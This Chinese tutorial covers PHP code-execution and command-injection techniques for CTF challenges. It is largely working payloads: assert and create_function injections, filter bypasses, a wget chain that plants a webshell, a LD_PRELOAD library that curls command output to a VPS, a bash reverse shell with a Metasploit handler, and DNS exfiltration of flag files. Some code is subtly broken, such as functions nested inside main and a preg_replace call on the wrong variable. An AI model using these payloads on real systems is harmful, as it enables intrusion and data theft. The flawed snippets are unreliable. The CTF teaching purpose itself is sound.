CTF命令执行及绕过技巧

前言

今天是代码审计部分的一个技巧补充!前些阵子做了sql注入回顾篇系列!今天开启php代码审计系列!

今天内容主要是CTF中命令注入及绕过的一些技巧!以及构成RCE的一些情景!

正文

在详细介绍命令注入之前,有一点需要注意:命令注入与远程代码执行不同。他们的区别在于,远程代码执行实际上是调用服务器网站代码进行执行,而命令注入则是调用操作系统命令进行执行。 虽然最终效果都会在目标机器执行操,但是他们还是有区别的,基于这个区别,我们如何找到并利用方式也是有所不同的!

代码执行 代码执行的几种方式

${}执行代码
eval
assert
preg_replace
create_function()
array_map()
call_user_func()/call_user_func_array()
array_filter()
usort(),uasort()

${}执行代码

方法:${php代码}

${phpinfo()};

eval()执行代码

eval('echo 2;');

assert()

普通调用

//?a=phpinfo()<?php assert($_POST['a']);?> 

assert函数支持动态调用

//?a=phpinfo()
<?php
$a = 'assert';
$a($_POST['a']);
?>

php官方在php7中更改了assert函数。在php7.0.29之后的版本不支持动态调用。

以上两种调用方法在php7.0.29版本之前都测试成功,7.0.29版本之后又动态调用的方法无法成功。

在7.0.29版本之后发现的奇怪的一点

<?php
//?a=phpinfo()
$a = 'assert';
$a($_POST['a']);
?>
//phpinfo()无法执行成功
<?php
$a = 'assert';
$a(phpinfo());
?>
//成功执行phpinfo()

preg_replace()

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

preg_replace 执行一个正则表达式的搜索和替换。

执行代码需要使用/e修饰符。如果不使用/e修饰符,代码则不会执行

$a = 'phpinfo()';
$b = preg_replace("/abc/e",$b,'abcd');

create_function()

说明

string create_function ( string $args , string $code )

该函数用来创建匿名函数。
这个函数的实现大概是这样的

$b = create_function('$name','echo $name;');
//实现
function niming($name){
echo $name;
}

$b(yang);

niming('yang');

第二个参数是执行代码的地方,将payload放在第二个参数的位置,然后调用该函数就可以执行payload了。
执行代码

$a = 'phpinfo();';
$b = create_function(" ",$a);
$b();

上面这种方法是最直接的,接下来看一点有趣的。

自己写的小示例

$id=$_GET['id'];

$code = 'echo $name. '.'的编号是'.$id.'; ';

$b = create_function('$name',$code);
//实现
function niming($name){
echo $name."编号".$id;
}
$b('sd');

这里直接传入phpinfo是不行的,构造的payload

?id=2;}phpinfo();/* 

传入后,代码如下

function niming($name){
echo $name.编号2;
     }phpinfo();/*
}

这样就执行了代码,再给出网上找的一个例子。

<?php

error_reporting(0);

$sort_by = $_GET['sort_by'];

$sorter = ‘strnatcasecmp';

$databases=array('1234′,'4321′);

$sort_function = ‘ return 1 * ‘ . $sorter . ‘($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';

usort($databases, create_function(‘$a, $b', $sort_function));

?>

构造的payload如下

?sort_by=”]);}phpinfo();/*

在自己写示例的时候,因为网上的一个示例纠结了挺久。
代码如下

<?php
//02-8.php?id=2;}phpinfo();/*
$id=$_GET['id'];
$str2='echo  '.$a.'test'.$id.";";
echo $str2;
echo "<br/>";
echo "==============================";
echo "<br/>";
$f1 = create_function('$a',$str2);
echo "<br/>";
echo "==============================";
?>

纠结的原因是在这个例子中,构造$str2的时候,将变量a和变量b都写在了引号之外,但是变量a是匿名函数的参数,如果直接写在单引号外面的话,解析的时候会认为$a没有赋值,从而设置为空。继续往下看,匿名函数也就无法正常的执行。所以就在想办法将$a写在单引号里面,使其可以正常的作为匿名函数的第二个参数。

array_map()

官方文档

array array_map ( callable $callback , array $array1 [, array $... ] )
array_map():返回数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。

漏洞演示

//?a=assert&b=phpinfo();
$a = $_GET['a'];
$b = $_GET['b'];
$array[0] = $b;
$c = array_map($a,$array);

call_user_func()/call_user_func_array()

和array_map()函数挺像的。

官方文档

call_user_func()
mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

call_user_func_array()

mixed call_user_func_array ( callable $callback , array $param_arr )
把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。

示例

call_user_func()

// ?a=phpinfo();
call_user_func(assert,$_GET['a']);

call_user_func_array()

//?a=phpinfo();
$array[0] = $_GET['a'];

call_user_func_array("assert",$array); 

array_filter()

官方文档

array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )

依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。 

示例

$array[0] = $_GET['a'];
array_filter($array,'assert');

usort()/uasort()

usrot官方文档

bool usort ( array &$array , callable $value_compare_func )
本函数将用用户自定义的比较函数对一个数组中的值进行排序。 如果要排序的数组需要用一种不寻常的标准进行排序,那么应该使用此函数。

shell_1

<?php
// ?1[]=test&1[]=phpinfo();&2=assert
usort(...$_GET);
?>

只有在php5.6以上环境才可使用
详解

关于...$_GET是php5.6引入的新特性。即将数组展开成参数的形式。

shell_2

下面这种写法只在php5.6版本以下可以使用。

// ?1=1+1&2=phpinfo();
usort($_GET,'asse'.'rt');

命令执行 常见命令执行函数

  • system()
  • passthru()
  • exec()
  • shell_exec()
  • `反引号
  • ob_start()
  • mail函数+LD_PRELOAD执行系统命令
  • system()

➜ ~ php -r "system('whoami');"

passthru()

➜ ~ php -r "passthru('whoami');"

exec()

➜ ~ php -r "echo exec('whoami');"

shell_exec()

➜ ~ php -r "echo shell_exec('whoami');"

`反引号

➜ ~ php -r "echo @`whoami`;"

ob_start()

官方文档

bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )
此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中。

内部缓冲区的内容可以用 ob_get_contents() 函数复制到一个字符串变量中。 想要输出存储在内部缓冲区中的内容,可以使用 ob_end_flush() 函数。另外, 使用 ob_end_clean() 函数会静默丢弃掉缓冲区的内容。

使用

<?php
    ob_start("system");
    echo "whoami";
    ob_end_flush();
?>
//输出www-data

mail函数+LD_PRELOAD执行系统命令

思路

LD_PRELOAD可以用来设置程序运行前优先加载的动态链接库,php函数mail在实现的过程中会调用标准库函数,通过上传一个编译好的动态链接程序(这个程序中重新定义了一个mail函数会调用的库函数,并且重新定义的库函数中包含执行系统命令的代码。),再通过LD_PRELOAD来设置优先加载我们的上传的动态链接程序,从而实现命令执行。

利用

a.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(){

void payload() {
system("curl http://vps_IP:4123/?a=`whoami`");
}
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
} 

编译

gcc -c -fPIC a.c -o a gcc -shared a -o a.so

mail.php

<?php
putenv("LD_PRELOAD=/var/www/html/a.so");
mail("a@localhost","","","","");
?>

监听vps的4123端口,访问mail.php。

绕过姿势

空格

在bash下,可以用以下字符代替空格

<
${IFS}
$IFS$9
%09

测试

root@kali:~# cat<test.txt hello world! root@kali:~# cat${IFS}test.txt hello world! root@kali:~# cat$IFS$9test.txt hello world! root@kali:~#

这里解释一下${IFS},$IFS,$IFS$9的区别,首先$IFS在linux下表示分隔符,然而我本地实验却会发生这种情况,这里解释一下,单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用,但是为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串!

%09测试

<?php
$cmd = $_GET['cmd'];
system("$cmd");
?>

//http://ip/index.php?cmd=cat%091.txt

命令终止符

%00 %20#

命令分隔符
这里介绍5种姿势

%0a 符号

%0d 符号

; 符号
在 shell 中,担任”连续指令”功能的符号就是”分号”

& 符号

& 放在启动参数后面表示设置此进程为后台进程,默认情况下,进程是前台进程,这时就把Shell给占据了,我们无法进行其他操作,对于那些没有交互的进程,很多时候,我们希望将其在后台启动,可以在启动参数的时候加一个'&'实现这个目的。进程切换到后台的时候,我们把它称为job。切换到后台时会输出相关job信息,这里36210就是该进程的PID

| 符号

管道符左边命令的输出就会作为管道符右边命令的输入,所以左边的输出并不显示

敏感字符绕过

这里假设过滤了cat

利用变量绕过

root@kali:~# a=l;b=s;$a$b

利用base编码绕过

root@kali:~# echo 'cat' | base64
Y2F0Cg==
root@kali:~# `echo 'Y2F0Cg==' | base64 -d` test.txt
hello world!
root@kali:~#

未定义的初始化变量

cat$x /etc/passwd

连接符

cat /etc/pass'w'd

七个字的命令执行

这题是利用重命名文件绕过的,所以可以这样进行调用,因为限制了命令的长度,所以无法直接构造,只能通过文件构造

这里先介绍一下小技巧,linux下创建文件的命令可以用1>1创建文件名为1的空文件

进一步fuzz发现a>1居然也可以,虽然会报错,但是还是可以创建空文件。

ls>1可以直接把把ls的内容导入一个文件中,但是会默认追加\n

有了这个基础我们再来看这道题

<?php
if(strlen($_GET[1])<8){
     echo shell_exec($_GET[1]);
}
?>

简单的代码,可以利用

1>wget\
1>域名.\
1>com\
1>-O\
1>she\
1>ll.p\
1>p
ls>a
sh a 

这里注意.不能作为文件名的开头,因为linux下.是隐藏文件的开头,ls列不出来

然而这里还有个问题,就是ls下的文件名是按照字母顺序排序的,所以需要基于时间排序

ls -t>a

网络地址转化为数字地址

网络地址有另外一种表示形式就是数字地址,比如127.0.0.1可以转化为2130706433可以直接访问http://2130706433或者http://0x7F000001这样就可以绕过.的ip过滤,这里给个转化网址http://www.msxindl.com/tools/ip/ip_num.asp

GCTF RCE

这题过滤了很多东西,下面说一下比较重要的

||&|;|%{}| |''|.|

这里给个payload

%0acat%09
%0Acat$IFS$9
%0acat

用%0a绕过curl然后在从我前面绕过空格的payload中随便挑一个没有过滤的

通配符绕过

Bash标准通配符(也称为通配符模式)被各种命令行程序用于处理多个文件。有关标准通配符的更多信息,并不是每个人都知道有很多bash语法是可以使用问号“?”,正斜杠“/”,数字和字母来执行系统命令的。你甚至可以使用相同数量的字符获取文件内容。

我们可以通过man 7 glob 查看通配符帮助或者直接访问linux官网查询文档

这里我为大家举个栗子:

例如ls命令我们可以通过以下语法代替执行:

/???/?s --help

由于有师傅已经写的很好了,我也就不献丑了!

处理无回显的命令执行

1.利用自己的vps

第一种是利用bash命令并在本地进行nc监听结果查看回连日志,然后就行

先在vps处用nc进行监听

nc -l -p 8080 -vvv

然后在靶机命令执行处输入

|bash -i >& /dev/tcp/xxxxxI(你的vps的公网ip)/8080 0>&1

第二种是msg反向回连

同样vps用msg监听

vps的msf监听:

use exploit/multi/handler
set payload linux/armle/shell/reverse_tcp
set lport 8080
set lhost xxx.xxx.xxx.xxx
set exitonsession false
exploit -j

然后在靶机命令执行处输入

|bash -i >& /dev/tcp/xxxxxI(你的vps的公网ip)/8080 0>&1

即可getflag

2.利用ceye平台

平台的payload

记录在http request中

题目地址

http://192.168.10.55/

后台源码

<?php
$a = $_GET['id'];
system("$a");
?>

payload

curl http://192.168.10.55.o40fok.ceye.io/?id=`whoami` 

只能使用linux的curl访问才会成功,在浏览器直接访问时无效的。
效果

图1

记录在dns query中

简单介绍

DNS在解析的时候是逐级解析的,并且会留下日志,所以可以将回显放在高级域名,这样在解析的时候就会将回显放在高级域名中,我们就可以在dns query中看到回显。
举个例子

在注册ceye.io之后会分配一个三级域名。就是******.ceye.io。

ping `whoami`.******.ceye.io 

上面这条命令最终在ping的时候ping的是“root.***\***.ceye.io”,root就是我们构造的恶意命令执行的结果,我们把它放在四级域名这里,这样在DNS解析的时候就会记录下root这个四级域名。然后可以在ceye平台上看到我们的dns解析日志。也就看到了命令执行的回显。

所以这种方法的使用必须有ping命令。

真题解析

题目存在robots.txt文件,访问发现两个文件

index.txt
where_is_flag.php

index.php代码

<?php
include("where_is_flag.php");
echo "ping";
$ip =(string)$_GET['ping'];
$ip =str_replace(">","0.0",$ip);
system("ping ".$ip);

可以看到存在ping命令,但是测试没有回显,于是就采用dnslog的方式来查看回显。
payload

ping `cat where_is_flag.php|sed s/[[:space:]]/xx/g`.******.ceye.io
# 因为域名中不允许有空格,但是php代码中可能会含有空格,所以使用sed命令将php代码的空格替换为xx

最终的url

http://192.168.5.90/?ping=`cat where_is_flag.php|sed s/[[:space:]]/xx/g`.******.ceye.io

在dns query中查看

图2

可以看到文件的内容是

<?php $flag="dgfsdunsadkjgdgdfhdfhfgdhsadf/flag.php";?>

由此得知flag.php的位置,继续打印flag.php的内容
获取flag的url

http://192.168.5.90/?ping=`cat dgfsdunsadkjgdgdfhdfhfgdhsadf/flag.php|sed s/[[:space:]]/xx/g`.******.ceye.io

图三

得到flag。

Think one Think

命令注入的利用其实跟sql注入流程相似,首先找到命令执行点,然后一步一步bypass,最好自己搭建环境实地测试,同时结合官方文档和资料,最终就会得到你需要的payload!

以上就是CTF命令执行及绕过技巧的详细内容,更多关于CTF命令执行及绕过技巧的资料请关注我们其它相关文章!

(0)

相关推荐

  • php中的依赖注入实例详解

    本文实例讲述了php中的依赖注入.分享给大家供大家参考,具体如下: 依赖注入是一种允许我们从硬编码的依赖中解耦出来,从而在运行时或者编译时能够修改的软件设计模式. 我到现在依然不大明白上面"依赖注入"的定义是什么-- 有兴趣可以参考下<PHP之道>上面对"依赖注入"的 解释. http://laravel-china.github.io/php-the-right-way/#dependency_injection 简而言之就是可以让我们在类的方法中更加

  • PHP使用PDO实现mysql防注入功能详解

    本文实例讲述了PHP使用PDO实现mysql防注入功能.分享给大家供大家参考,具体如下: 1.什么是注入攻击 例如下例: 前端有个提交表格: <form action="test.php" method="post"> 姓名:<input name="username" type="text"> 密码:<input name="password" type="pass

  • php依赖注入知识点详解

    引言 你知道什么是依赖注入吗?依赖注入(DI)的概念虽然听起来很深奥,但是如果你用过一些新兴的php框架的话,对于DI一定不陌生,因 为它们多多少少都用到了依赖注入来处理类与类之间的依赖关系. php中传递依赖关系的三种方案 其实要理解DI,首先要明白在php中如何传递依赖关系. 第一种方案,也是最不可取的方案,就是在A类中直接用new关键词来创建一个B类,如下代码所示: <?php class A { public function __construct() { $b = new B();

  • PHP依赖注入容器知识点浅析

    依赖注入容器理解 耦合 一个好的代码结构设计一定是松耦合的,这也是很多通用设计模式的宗旨,就是把分散在各处的同一个功能的代码汇聚到一起,形成一个模块,然后在不同模块之间通过一些细小的.明确的渠道进行沟通. 在实践中,不同功能和模块之间的互相依赖是不可避免的,而如何处理好这些依赖之间的关系则是代码结构能否变得美好的关键. <?php class User { public function register($user) { // 注册操作 ... // 发送确认邮件 $notify = new

  • php使用exec shell命令注入的方法讲解

    使用系统命令是一项危险的操作,尤其在你试图使用远程数据来构造要执行的命令时更是如此.如果使用了被污染数据,命令注入漏洞就产生了.exec()是用于执行shell命令的函数.它返回执行并返回命令输出的最后一行,但你可以指定一个数组作为第二个参数,这样输出的每一行都会作为一个元素存入数组.使用方式如下: 复制代码 代码如下: <?php$last = exec('ls', $output, $return);print_r($output);echo "Return [$return]&quo

  • thinkphp5.1框架容器与依赖注入实例分析

    本文实例讲述了thinkphp5.1框架容器与依赖注入.分享给大家供大家参考,具体如下: 容器----/thinkphp/library/think/Container.php 依赖注入:将对象类型的数据,以参数的方式传到方法中(解决向类中的方法传对象的问题) 绑定一个类到容器: public function bindClass() { //把一个类放到容器中:相当于注册到容器中 \think\Container::set('tmp(别名)','\app\common\Temp(实例)');

  • 浅析PHP反序列化中过滤函数使用不当导致的对象注入问题

    1.漏洞产生的原因 #### 正常的反序列化语句是这样的 $a='a:2:{s:8:"username";s:7:"dimpl3s";s:8:"password";s:6:"abcdef";}'; 但是如果写成这样 $b='a:2:{s:8:"username";s:7:"dimpl3s";s:8:"password";s:6:"123456";}

  • PHP防止sql注入小技巧之sql预处理原理与实现方法分析

    本文实例讲述了PHP防止sql注入小技巧之sql预处理原理与实现方法.分享给大家供大家参考,具体如下: 我们可以把sql预处理看作是想要运行的 SQL 的一种编译过的模板,它可以使用变量参数进行定制. 我们来看下它有什么好处: 预处理语句大大减少了分析时间,只做了一次查询(虽然语句多次执行). 绑定参数减少了服务器带宽,你只需要发送查询的参数,而不是整个语句. 预处理语句针对SQL注入是非常有用的,因为参数值发送后使用不同的协议,保证了数据的合法性. 这种预处理呢,可以通过两个方式,咱们这次要说

  • PHP进阶学习之依赖注入与Ioc容器详解

    本文实例讲述了PHP依赖注入与Ioc容器.分享给大家供大家参考,具体如下: 背景 在很多编程语言(例如java)开发中,程序员在某个类中需要依赖其它类的方法,则通常是new一个依赖类再调用类实例的方法,这种开发存在的问题是new的类实例不好统一管理,一旦有修改,牵扯的类会很多. 最早在java的spring提出了依赖注入的思想,即依赖类不由程序员实例化,而是通过spring容器帮我们new指定实例并且将实例注入到需要该对象的类中.目前许多主流PHP框架也使用了依赖注入容器,如ThinkPHP.L

  • php+laravel依赖注入知识点总结

    laravel容器包含控制反转和依赖注入,使用起来就是,先把对象bind好,需要时可以直接使用make来取就好. 通常我们的调用如下. $config = $container->make('config'); $connection = new Connection($this->config); 比较好理解,这样的好处就是不用直接 new 一个实例了,方法传值没啥改变,还可以多处共享此实例. 但这跟依赖注入有什么关系,真正的依赖注入是不需给方法传递任何参数值,只需要指明方法参数类型,代码自

  • 详解php命令注入攻击

    这次实验内容为了解php命令注入攻击的过程,掌握思路. 命令注入攻击 命令注入攻击(Command Injection),是指黑客通过利用HTML代码输入机制缺陷(例如缺乏有效验证限制的表格域)来改变网页的动态生成的内容.从而可以使用系统命令操作,实现使用远程数据来构造要执行的命令的操作. PHP中可以使用下列四个函数来执行外部的应用程序或函数:system.exec.passthru.shell_exec. 信息来源--合天网安实验室 命令攻击为什么会形成漏洞? 首先是因为应用需要调用一些执行

  • php反射学习之依赖注入示例

    本文实例讲述了php反射学习之依赖注入.分享给大家供大家参考,具体如下: 先看代码: <?php if (PHP_SAPI != 'cli') { exit('Please run it in terminal!'); } if ($argc < 3) { exit('At least 2 arguments needed!'); } $controller = ucfirst($argv[1]) . 'Controller'; $action = 'action' . ucfirst($ar

随机推荐